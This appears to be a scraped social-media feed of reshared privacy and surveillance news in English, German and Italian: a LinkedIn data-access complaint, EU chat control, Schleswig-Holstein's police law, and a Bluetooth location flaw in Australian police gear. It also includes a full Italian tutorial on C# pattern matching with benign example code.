📰 "Selling data to its own users is a popular practice among companies. In reality, however, people have the right to receive their own data free of charge," Noyb data protection lawyer Martin Baumann said. #LinkedIn #GDPR

👉 Read more: theregister.com/2026/05/05/lin…

Questa voce è stata modificata (1 mese fa)

reshared this

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

DigiCert Breached via Weaponized Screensaver: Threat Actor Steals EV Code Signing Certificates to Spread Zhong Stealer
#CyberSecurity
securebulletin.com/digicert-br…
The Privacy Post ha ricondiviso questo.

Die Alterskontroll-App der EU- Kommission nutzt ein Verfahren von Google-Entwicklern. IT-Fachleute warnen vor Abhängigkeiten und Datenschutzrisiken – auch mit Blick auf die geplante EUDI-Wallet.

netzpolitik.org/2026/europaeis…

in reply to netzpolitik.org

Ich frag mich ja immer noch, wofür diese digitale Funktion im Personalausweis in Verbindung mit der Ausweis-App gut ist? Warum muss ich personenbezogene und sensible Daten an weitere Akteure offenlegen, obwohl es doch schon Möglichkeiten gäbe, auch wenn diese evtl. weiterentwickelt werden müssten? Ist "digitale Unabhängigeit" nur ne moderne Worthülse? Wer profitiert von diesem Unfug oder ist es einfach nur mangelnde Kompetenz?
in reply to netzpolitik.org

Wenn es ja nur das Verfahren (also der Algorithmus) wäre! Die App nutzt aber sogar Googles Implementation (als Programmbibliothek). Die kann Google jederzeit ändern. Das heißt: Selbst wenn diese Bibliothek momentan datenschutzkonform arbeiten sollte, kann sich das durch ein Update jederzeit ändern.

/cc @dleisegang

Questa voce è stata modificata (1 mese fa)
The Privacy Post ha ricondiviso questo.

Danke für die stetige Berichterstattung, @netzpolitik_feed!

Die Kritik an den verschiedenen geplanten Elementen von Massenüberwachung geht in vielen Medien unter.


Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…


The Privacy Post ha ricondiviso questo.

Auch in #SchleswigHolstein sind wir vor einem dystopischen #Polizeigesetz nicht gefeit.

netzpolitik.org/2026/polizeige…

Danke für die unermüdliche Berichterstattung @netzpolitik_feed!

#überwachung #dystopie #überwachungsstaat #polizei #PolizeiSH

The Privacy Post ha ricondiviso questo.

Fuck tha Police - Gli agenti di polizia 🦘australiani 🦘 possono essere rintracciati a causa di una falla di sicurezza nei taser e nelle telecamere indossabili

I taser e le telecamere indossabili con tecnologia Bluetooth, utilizzati da migliaia di agenti di polizia australiani, possono inavvertitamente rivelare la loro posizione in tempo reale a qualsiasi criminale in possesso di un telefono o di un computer portatile.

Le forze di polizia di tutto il paese sono state avvertite della falla di sicurezza. Ma nonostante i rischi per la sicurezza, soprattutto per gli agenti in borghese, nelle unità tattiche o che portano a casa la propria attrezzatura, nessuno sembra aver preso provvedimenti.

abc.net.au/news/2026-05-04/pol…

@privacypride

The Privacy Post ha ricondiviso questo.

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Pattern matching in C#: scenari avanzati che probabilmente non conosci
#tech
spcnet.it/pattern-matching-in-…
@informatica


Pattern matching in C#: scenari avanzati che probabilmente non conosci


Il pattern matching in C# non è solo un modo più elegante di scrivere condizioni: è un cambio di paradigma nel modo in cui si ragiona sulla struttura dei dati. A partire da C# 7 e con evoluzioni significative nelle versioni successive, il pattern matching è diventato uno strumento potentissimo per scrivere codice più leggibile, manutenibile e talvolta anche più efficiente.

In questo articolo esploreremo i pattern avanzati che molti sviluppatori .NET tendono a ignorare o a sottoutilizzare, partendo da un progetto concreto che dimostra ogni scenario.

Setup del progetto di esempio


Prima di tutto, creiamo un’applicazione console di test:

dotnet new console -n PatternMatchingDemo
cd PatternMatchingDemo

Definiamo i modelli come record, ideali per il pattern matching grazie alla loro natura value-based:
namespace PatternMatchingDemo.Records;

public record Address(string City, string Country);
public record User(string Name, int Age, Address Address, List<string> Roles);
public record Request(string Source, int Priority);
public record Point(int X, int Y);

E popoliamo alcune collezioni di test:
var users = new List<User>
{
    new("Ali", 25, new Address("Milano", "Italy"), new List<string> { "Admin", "User" }),
    new("Sara", 17, new Address("Roma", "Italy"), new List<string> { "User" }),
    new("Kennedy", 65, new Address("London", "UK"), new List<string> { "Guest" })
};

var requests = new List<Request>
{
    new("System", 10),
    new("User", 3),
    new("System", 2)
};

Property Pattern: matching annidato


Uno dei pattern più utili è il property pattern, che permette di verificare le proprietà di un oggetto direttamente nell’espressione di matching, incluse proprietà annidate:

foreach (var user in users)
{
    if (user is { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} è di Milano");
    }
}

Il confronto tradizionale richiederebbe:
if (user != null && user.Address != null && user.Address.City == "Milano")

La versione con property pattern è non solo più compatta, ma anche null-safe per definizione: se user o user.Address sono null, il pattern semplicemente non matcha.

Pattern con not: negazione elegante

foreach (var user in users)
{
    if (user is not { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} non è di Milano");
    }
}

Il keyword not inverte il risultato del pattern, rendendo esplicito il significato senza bisogno di operatori logici aggiuntivi.

Matching su casi multipli con or

foreach (var user in users)
{
    if (user is { Address.City: "Milano" or "Roma" })
    {
        Console.WriteLine($"{user.Name} vive in una grande città italiana");
    }
}

Il combinatore or all’interno di un pattern è molto più leggibile di una serie di condizioni concatenate con ||, specialmente quando le condizioni riguardano la stessa proprietà.

Pattern Matching dentro LINQ


Il pattern matching si integra perfettamente con LINQ, permettendo query molto espressive:

var adultiItaliani = users
    .Where(u => u is { Age: > 18, Address.Country: "Italy" })
    .ToList();

foreach (var user in adultiItaliani)
{
    Console.WriteLine($"{user.Name} è un adulto italiano");
}

Questa combinazione è particolarmente potente per filtrare DTO complessi, validare oggetti di dominio o implementare query su collezioni in memoria.

Pattern relazionali e logici


I pattern relazionali (>, <, >=, <=) combinati con i pattern logici (and, or) permettono di esprimere range e condizioni composite in modo molto naturale:

foreach (var user in users)
{
    if (user.Age is > 18 and < 60)
    {
        Console.WriteLine($"{user.Name} è un adulto lavorativo");
    }
    else if (user.Age is < 18 or > 60)
    {
        Console.WriteLine($"{user.Name} appartiene a una categoria di età speciale");
    }
}

Switch Expression


La switch expression (introdotta in C# 8) è una versione compatta e restituisce un valore. Elimina la verbosità del tradizionale switch statement:

foreach (var user in users)
{
    var categoria = user.Age switch
    {
        < 13 => "Bambino",
        < 20 => "Adolescente",
        < 60 => "Adulto",
        _     => "Senior"
    };

    Console.WriteLine($"{user.Name} => {categoria}");
}

Rispetto allo switch classico, la versione expression è più concisa, obbliga a coprire tutti i casi (o aggiungere il wildcard _) e restituisce direttamente un valore senza variabili intermedie.

Pattern Type + Condition


Il pattern di tipo permette di verificare il tipo di un oggetto e aggiungere una condizione contemporaneamente:

object value = 150;

// Modo tradizionale
if (value is int number && number > 100)
{
    Console.WriteLine("Numero grande (vecchio stile)");
}

// Con pattern matching
if (value is int and > 100)
{
    Console.WriteLine("Numero grande (pattern matching)");
}

Questo è particolarmente utile quando si lavora con object, dynamic, o con gerarchie di tipi complesse.

List Pattern (C# 11+)


Introdotto in C# 11, il list pattern consente di matchare la struttura e il contenuto di array e liste:

int[] nums = { 1, 2, 3 };

if (nums is [1, 2, 3])
{
    Console.WriteLine("Match esatto");
}

if (nums is [1, .., 3])
{
    Console.WriteLine("Inizia con 1 e finisce con 3");
}

if (nums is [_, _, _])
{
    Console.WriteLine("Array con esattamente 3 elementi");
}

Il slice pattern .. è molto flessibile: può matchare zero o più elementi nel mezzo di una sequenza. Questo pattern è molto utile per validare payload di API che arrivano come array, controllare header HTTP, o verificare strutture di dati fisse.

Positional Pattern

var point = new Point(10, 20);

if (point is (10, 20))
{
    Console.WriteLine("Il punto è (10,20)");
}

// Con switch expression
var descrizione = point switch
{
    (0, 0) => "Origine",
    (_, 0) => "Sull'asse X",
    (0, _) => "Sull'asse Y",
    _      => $"Punto generico ({point.X},{point.Y})"
};
Console.WriteLine(descrizione);

Il positional pattern decostruisce l’oggetto usando il metodo Deconstruct (disponibile automaticamente per i record) e permette di matchare ogni componente individualmente.

Combined Pattern: la vera potenza


Combinare più pattern insieme permette di esprimere logica di business complessa in modo dichiarativo:

foreach (var user in users)
{
    if (user is
        {
            Age: > 18,
            Address.Country: "Italy",
            Roles: ["Admin", ..]
        })
    {
        Console.WriteLine($"{user.Name} è un admin adulto italiano");
    }
}

Questo esempio combina property pattern annidato, relational pattern e list pattern in un’unica espressione. In scenari reali, questa tecnica è applicabile per authorization checks, validazione di DTO, o routing di request handler.

Null Pattern

User? maybeUser = null;

if (maybeUser is not null)
{
    Console.WriteLine("L'utente esiste");
}
else
{
    Console.WriteLine("L'utente è null");
}

Il null pattern con is not null è semanticamente più preciso di != null in contesti di nullable reference types, ed è la forma raccomandata nelle linee guida di C# moderno.

Guard Clause nelle switch expression

int number = 7;

var result = number switch
{
    int n when n % 2 == 0 => "Pari",
    int n when n % 2 != 0 => "Dispari",
    _ => "Sconosciuto"
};

Console.WriteLine(result);

La clausola when aggiunge una condizione aggiuntiva a un pattern. Utile quando il solo pattern non è sufficiente a discriminare i casi.

Request Handling pattern


Un esempio pratico di uso combinato in un sistema di routing delle request:

foreach (var request in requests)
{
    var response = request switch
    {
        { Source: "System", Priority: > 5 } => "Richiesta di sistema critica",
        { Source: "User",   Priority: <= 5 } => "Richiesta utente normale",
        _ => "Fallback generico"
    };

    Console.WriteLine($"{request.Source} ({request.Priority}) => {response}");
}

Questo schema è applicabile in moltissimi contesti: event sourcing, command dispatcher, middleware pipeline, validazione di business rules.

Considerazioni sulle performance


Oltre alla leggibilità, il pattern matching in C# è progettato per essere efficiente. Il compilatore ottimizza le switch expression in jump table o sequenze di confronto ottimizzate. Per tipi primitivi, le performance sono equivalenti o superiori a catene di if-else.

Per scenari di alta performance con molti branch (es. parser, protocol handler), vale la pena misurare con BenchmarkDotNet, ma nella stragrande maggioranza dei casi applicativi il pattern matching non introduce overhead significativo.

Conclusione


Il pattern matching in C# è uno strumento che va ben oltre il semplice is o lo switch. Combinando property pattern, list pattern, relational pattern e switch expression, è possibile scrivere logica complessa in modo dichiarativo e leggibile.

La chiave per sfruttarlo al meglio è conoscere tutti i tipi di pattern disponibili e riconoscere le situazioni in cui possono sostituire costrutti più verbosi. Un codice che legge come il problema che risolve è un codice di qualità superiore.

Il codice sorgente di esempio è disponibile su GitHub: github.com/elmahio-blog/Patter…


Fonte originale: Pattern matching in C#: Advanced scenarios you didn’t know — elmah.io Blog


The Privacy Post ha ricondiviso questo.

Schleswig-Holstein ist ganz vorne mit dabei, wenn es um die Entwicklung von Überwachungs-Dystopien geht. Das schwarz-grün regierte Bundesland will sich Verhaltensscanner, Echtzeit-Gesichtserkennung, Internet-Gesichtersuche, Datenanalyse a la Palantir und eine Ausweitung der Videoüberwachung erlauben. Ach ja: Bis zu acht Wochen Prophylaxe-Haft für Menschen, die in Freiheit womöglich Ordnungswidrigkeiten begehen, kommen auch noch dazu. Expert*innen gehen mit dem Entwurf hart ins Gericht. Heute wurde er erstmals im Landtag verhandelt. netzpolitik.org/2026/polizeige…
The Privacy Post ha ricondiviso questo.

Heute haben die Abgeordneten im Landtag von Schleswig-Holstein erstmals eine Novelle des Polizeigesetzes diskutiert. Es geht um Verhaltensscanner und Gesichtserkennung. Expert*innen zweifeln, ob das Gesetz verfassungsgemäß ist; die Opposition warnt vor einer Dystopie. netzpolitik.org/2026/polizeige…
The Privacy Post ha ricondiviso questo.

Il Garante per la protezione dei dati personali partecipa alla Race for the Cure, l’iniziativa di Komen Italia

Il 7 e 8 maggio, al Circo Massimo, all’interno del Villaggio della Salute, il #GarantePrivacy sarà presente con uno spazio informativo dedicato al diritto all’oblio oncologico. Sarà un’occasione aperta a tutti per ricevere informazioni e orientamento su come esercitare tale diritto nei confronti di banche, assicurazioni, datori di lavoro e nell’ambito delle procedure di adozione

@Privacy Pride

gpdp.it/home/docweb/-/docweb-d…